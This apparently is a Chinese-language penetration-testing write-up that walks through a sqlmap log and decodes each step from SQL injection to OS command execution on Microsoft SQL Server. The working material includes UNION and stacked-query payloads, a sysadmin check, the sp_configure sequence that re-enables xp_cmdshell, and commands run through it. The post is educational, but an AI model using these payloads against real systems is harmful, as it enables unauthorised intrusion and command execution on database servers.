sqlmap
有天在安全測試某個站點的Server時,意外發現具有SQL漏洞,然後就丟到SQLmap上發現就直接RCE了…
不過一直以來不是很了解RCE的過程,這是不好的一件事情,在很多進行fuzzing的場景中,我們勢必需要理解其注入過程做了什麼事情,這才是學會滲透重要的一環。
因此,我今日有感而發,決定寫此篇文章,來助於理解SQLmap在MSSQL裡如何拿到RCE。
下面附上我那次注入過程使用「-v 3」參數的詳細過程,然後拆解講解(有將原本的過程透漏的機敏資訊抹去)
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=5' AND 8774=8774 AND 'wXZv'='wXZv&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
Vector: AND [INFERENCE]
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=5';WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: id=5' WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-3169' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+CHAR(112)+CHAR(108)+CHAR(117)+CHAR(122)+CHAR(105)+CHAR(112)+CHAR(81)+CHAR(84)+CHAR(77)+CHAR(122)+CHAR(86)+CHAR(87)+CHAR(103)+CHAR(65)+CHAR(105)+CHAR(118)+CHAR(78)+CHAR(105)+CHAR(80)+CHAR(98)+CHAR(116)+CHAR(122)+CHAR(99)+CHAR(103)+CHAR(113)+CHAR(82)+CHAR(87)+CHAR(88)+CHAR(67)+CHAR(108)+CHAR(113)+CHAR(122)+CHAR(103)+CHAR(71)+CHAR(116)+CHAR(82)+CHAR(74)+CHAR(86)+CHAR(88)+CHAR(86)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- mUbd&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91
Vector: UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL,NULL,NULL[GENERIC_SQL_COMMENT]
---
[17:04:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 11 or 2019 or 2022 or 2016
web application technology: Microsoft IIS 10.0, ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2016
[17:04:08] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output
[17:04:08] [DEBUG] resuming configuration option 'code' (200)
[17:04:08] [PAYLOAD] -9069' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- RpBj
[17:04:14] [DEBUG] performed 1 query in 5.39 seconds
[17:04:14] [DEBUG] going to use 'C:/Program Files/Microsoft SQL Server/MSSQL13.MSSQLSERVER/MSSQL/Log' as temporary files directory
[17:04:14] [INFO] testing if current user is DBA
[17:04:14] [PAYLOAD] -4739' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- LoIP
[17:04:17] [DEBUG] performed 1 query in 3.00 seconds
[17:04:17] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
[17:04:17] [PAYLOAD] 5';DECLARE @hhsr VARCHAR(8000);SET @hhsr=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @hhsr--
[17:04:21] [WARNING] reflective value(s) found and filtering out
[17:04:21] [WARNING] time-based standard deviation method used on a model with less than 30 response times
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y
[17:04:21] [DEBUG] used the default behavior, running in batch mode
[17:04:21] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure
[17:04:21] [PAYLOAD] 5';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
[17:04:24] [PAYLOAD] 5';DECLARE @ajfa VARCHAR(8000);SET @ajfa=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @ajfa--
[17:04:47] [WARNING] time-based standard deviation method used on a model with less than 30 response times
[17:04:47] [INFO] xp_cmdshell re-enabled successfully
[17:04:47] [DEBUG] creating a support table to write commands standard output to
[17:04:47] [PAYLOAD] 5';DROP TABLE sqlmapoutput--
[17:04:50] [PAYLOAD] 5';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[17:04:53] [INFO] testing if xp_cmdshell extended procedure is usable
[17:04:53] [PAYLOAD] 5';DECLARE @qjaa VARCHAR(8000);SET @qjaa=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--
[17:04:56] [PAYLOAD] -3373' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- yWAq
[17:05:00] [DEBUG] performed 1 query in 3.81 seconds
[17:05:00] [PAYLOAD] 5';DELETE FROM sqlmapoutput--
[17:05:03] [INFO] xp_cmdshell extended procedure is usable
[17:05:03] [INFO] going to use extended procedure 'xp_cmdshell' for operating system command execution
[17:05:03] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> powershell pwd
do you want to retrieve the command standard output? [Y/n/a] Y
[17:08:34] [DEBUG] used the default behavior, running in batch mode
[17:08:34] [PAYLOAD] 5';DECLARE @vkdv VARCHAR(8000);SET @vkdv=0x706f7765727368656c6c20707764;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--
[17:08:40] [PAYLOAD] -4007' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- EswF
[17:08:42] [DEBUG] performed 1 query in 2.13 seconds
[17:08:42] [PAYLOAD] 5';DELETE FROM sqlmapoutput--
command standard output:
---
NULL
Path
----
C:\Windows\system32
NULL
NULL
NULL
---
os-shell> q
[17:17:19] [INFO] cleaning up the database management system
[17:17:19] [DEBUG] removing support tables
[17:17:19] [PAYLOAD] 5';DROP TABLE sqlmapfile--
[17:17:23] [PAYLOAD] 5';DROP TABLE sqlmapfilehex--
[17:17:26] [PAYLOAD] 5';DROP TABLE sqlmapoutput--
do you want to remove UDF 'master..new_xp_cmdshell'? [Y/n] Y
[17:17:30] [DEBUG] used the default behavior, running in batch mode
[17:17:30] [DEBUG] removing UDF 'master..new_xp_cmdshell'
[17:17:30] [PAYLOAD] 5';DROP FUNCTION master..new_xp_cmdshell--
[17:17:33] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[17:17:33] [INFO] database management system cleanup finished
[17:17:33] [WARNING] remember that UDF dynamic-link library files saved on the file system can only be deleted manually
[17:17:33] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[17:17:33] [INFO] fetched data logged to text files under '儲存路徑'
基本上就是很長一串的payload,然後注入類型基本上除了報錯注入其他都是可以用的,那我們開始來拆解過程。
23~27行單純就是解析後端技術,這不是今天的重點,跳過。
我們把29行展開來看
UNION ALL
SELECT
NULL,
NULL,
NULL,
CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
ISNULL(
CAST(
SERVERPROPERTY(
CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)
) AS NVARCHAR(4000)
),
CHAR(32)
)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
NULL,
NULL,
NULL-- RpBj
我們把char()還原成字串後可以得到如下
UNION ALL
SELECT
NULL,
NULL,
NULL,
'qxkvq'+
ISNULL(
CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000)),
CHAR(32)
)+'qqpjq',
NULL,
NULL,
NULL-- RpBj
如果懶得一個一個對ASCII,可以用下方提供的python code來跑
# input: CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)
# output: ErrorLogFileName
print(eval(input("input:").replace('CHAR','chr')))
我們看第8行
CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000))
這句意思是,將 SQL Server 錯誤記錄檔,目前最新的完整檔案路徑與檔案名稱,轉換成 NVARCHAR() 格式,並可容納4000個字節,這個語法可以拿去w3school去測試。
而7~10的意思是說,如果第八行的運行結果為NULL的話,則將他轉換成char(32),也就是一個空白
我們回到注入過程,可以看到第29~31行,就是去找有沒有找到錯誤記錄檔,如果有,就把它作為臨時文件目錄。
接著第32行提示說,測試當前用戶是否為 DBA,我們分析第33行
UNION ALL
SELECT
NULL,
NULL,
NULL,
CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
(
CASE WHEN (
IS_SRVROLEMEMBER(
CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)
)=1
) THEN CHAR(49) ELSE CHAR(48) END
)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
NULL,
NULL,
NULL-- LoIP
還原ASCII後
UNION ALL
SELECT
NULL,
NULL,
NULL,
'qxkvq'+
(
CASE WHEN (
IS_SRVROLEMEMBER('sysadmin')=1
) THEN '1' ELSE '0' END
)+'qqpjq',
NULL,
NULL,
NULL-- LoIP
我們回到注入過程繼續分析。
35行測試 xp_cmdshell 是否可用,看看第36行payload
DECLARE @hhsr VARCHAR(8000);
SET @hhsr=0x70696e67202d6e203230203132372e302e302e31;
EXEC master..xp_cmdshell @hhsr--
用下方的python code解析hex
# input: 0x70696e67202d6e203230203132372e302e302e31
# output: ping -n 20 127.0.0.1
print(f"output: {bytearray.fromhex(input('input: ')[2:]).decode()}")
簡單說就是把 cmd ping 指令字串存到hhsr變數後,透過 xp_cmdshell 拿去執行看看能不能跑,至於為何是ping 20次,可以理解成一種時間注入,因為不一定所有的注入都會回傳結果,這個很好理解。
我們回到注入過程繼續分析。
第39行,SQLmap檢測後發現, xp_cmdshell 貌似是關閉狀態,因此詢問是否要開(當然開阿#
我們解析第42行。
-- 開啟允許修改高級參數
EXEC master..sp_configure 'SHOW advanced options',1;
-- 將剛剛設定的參數啟動
RECONFIGURE WITH OVERRIDE;
-- 啟用 xp_cmdshell
EXEC master..sp_configure 'xp_cmdshell',1;
-- 將剛剛設定的參數啟動
RECONFIGURE WITH OVERRIDE;
-- 關閉允許修改高級參數
EXEC master..sp_configure 'SHOW advanced options',0;
-- 將剛剛設定的參數啟動
RECONFIGURE WITH OVERRIDE--
這裡可以看到SQLmap為了避免汙染環境,有把啟用的參數再關回去。
第43行,單純就是打開 xp_cmdshell 後再把剛剛的 ping 指令跑一次看有沒有生效。
DECLARE @ajfa VARCHAR(8000);
SET @ajfa=0x70696e67202d6e203230203132372e302e302e31;
EXEC master..xp_cmdshell @ajfa--
解析還原後
DECLARE @ajfa VARCHAR(8000);
SET @ajfa='ping -n 20 127.0.0.1';
EXEC master..xp_cmdshell @ajfa--
我們回到注入過程繼續分析。
45行 告訴你 xp_cmdshell 指令已被啟用完畢。
46行準備創建一個用來接收指令執行結果的 table。
47跟48行如下
DROP TABLE sqlmapoutput--
CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
為了避免建表失敗,不管有沒有,他先刪一次,之後再建。
49行跟你說,再測試一次 xp_cmdshell 指令是否可以使用。
50行如下
DECLARE @qjaa VARCHAR(8000);
SET @qjaa=0x6563686f2031;
INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--
解析後
DECLARE @qjaa VARCHAR(8000);
SET @qjaa='echo 1';
INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa--
簡單說就是把 cmd 指令 echo 1 的結果放到 SQLmap 剛剛創建的 table 「sqlmapoutput」 裡面。
51行如下
UNION ALL
SELECT
NULL,
NULL,
NULL,
CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
(
SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
NULL,
NULL,
NULL-- yWAq
解析後
UNION ALL
SELECT
NULL,
NULL,
NULL,
'qxkvq'+
(
SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
)+'qqpjq',
NULL,
NULL,
NULL-- yWAq
簡單說就是把剛剛 cmd 指令的執行結果,從SQLmap 創建的 table 裡再拿出來。
53行
DELETE FROM sqlmapoutput--
把 table 裡的數據都清除掉了。然後54行裡告訴你 xp_cmdshell 是可以用的,可以發現他是透過剛剛這樣的一個使用流程來做檢測的。
我們回到注入過程繼續分析。
然後57行可以看到他已經把prompt 「os-shell>」丟給你,代表你已經可以開始下 shell command 了,我這裡測試了powershell 裡的 pwd 命令,可以看到路徑是在 C:\Windows\system32 裡面,期間,SQLmap 做的指令,我們來分析。
第60行如下
DECLARE @vkdv VARCHAR(8000);
SET @vkdv=0x706f7765727368656c6c20707764;
INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--
解析後
DECLARE @vkdv VARCHAR(8000);
SET @vkdv='powershell pwd';
INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv--
61行如下
UNION ALL
SELECT
NULL,
NULL,
NULL,
CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+
(
SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),
NULL,
NULL,
NULL-- EswF
解析後
UNION ALL
SELECT
NULL,
NULL,
NULL,
'qxkvq'+
(
SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES
)+'qqpjq',
NULL,
NULL,
NULL-- EswF
63行如下
DELETE FROM sqlmapoutput--
恩,如剛剛上面所解析的一樣,就是拿 xp_cmdshell 來執行我們下的指令,然後再利用 union-based來獲取執行的結果。
我們回到注入過程繼續分析。
第74行,我下了離開的指令,SQLmap 告訴你說,清理數據庫管理系統,以及刪除 SQLmap 所建立的表。
下面基本上就是在還原滲透前的系統環境,就不多做解釋了。
沒了,終於寫完了,感謝觀看。